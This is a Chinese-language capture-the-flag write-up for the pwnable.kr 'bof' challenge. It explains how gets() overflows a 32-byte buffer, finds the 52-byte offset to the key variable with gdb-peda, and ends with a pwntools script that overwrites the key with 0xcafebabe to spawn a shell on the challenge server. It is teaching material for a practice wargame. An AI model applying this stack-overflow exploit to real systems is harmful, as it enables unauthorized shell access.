考察缓存区溢出
题目源码
题目分析
func()
中有一个长度为32的字符串数组overflow
,在调用gets()
时由于没有检查字符串长度,导致缓冲区溢出,超过32字节的数据将覆盖内存中的其他数据。随后比较key
和0xcafebabe
,相等的话弹出sh
。
解题思路
利用缓存区溢出,将key
的值覆写为0xcafebabe
解题过程
首先需要知道变量overflow
和key
存储在内存的什么位置,确定缓存区溢出发生的位置。将bof
程序下载到本地,用gdb
打开,开始调试 (顺便推荐gdb
插件peda
)
$ gdb ./bof
现在进到了gdb
的环境中,先在main()
处下一个断点
gdb-peda$ b main
Breakpoint 1 at 0x68d
然后运行程序
gdb-peda$ r
运行起来应该是这个样子
peda
这个插件很赞,可以直观的看到反汇编代码以及各个寄存器的值,还有高亮显示
现在程序停在了刚才下的断点处,单步调试(ni
)至call <func>
后进入函数(si
),一直跟到call <gets>
查看一下栈中的情况
gdb-peda$ x/40xw $esp
当前esp = 0xffffcf50
,esp
中存储的是overflow
开始的位置。
即:数组overflow
从0xffffcf6c
开始,长度为32
,到0xffffcf6c + 32 = 0xffffcf8c
结束
从上图中还可以发现地址0xffffcfa0
中存储的就是key
的初始值0xdeafbeef
现在找到了overflow
和key
的地址,只需要计算一下他们之间的差值,便可以得出总共需要多少字符才可以覆盖到key
0xffffcfa0 - 0xffffcf6c = 52
向overflow
里面输入52
个字节的字符,之后再加上4
字节的数据(0xcafebabe
),刚好可以覆写key,详见解题脚本
这里要注意一下内存中的小端存储,可以使用pwn
库中的p32()
函数
解题脚本
#!/usr/bin/python
from pwn import *
# target = process("./bof")
target = remote("pwnable.kr","9000")
key = 0xcafebabe
payload = "A" * 52 + p32(key)
target.send(payload)
target.interactive()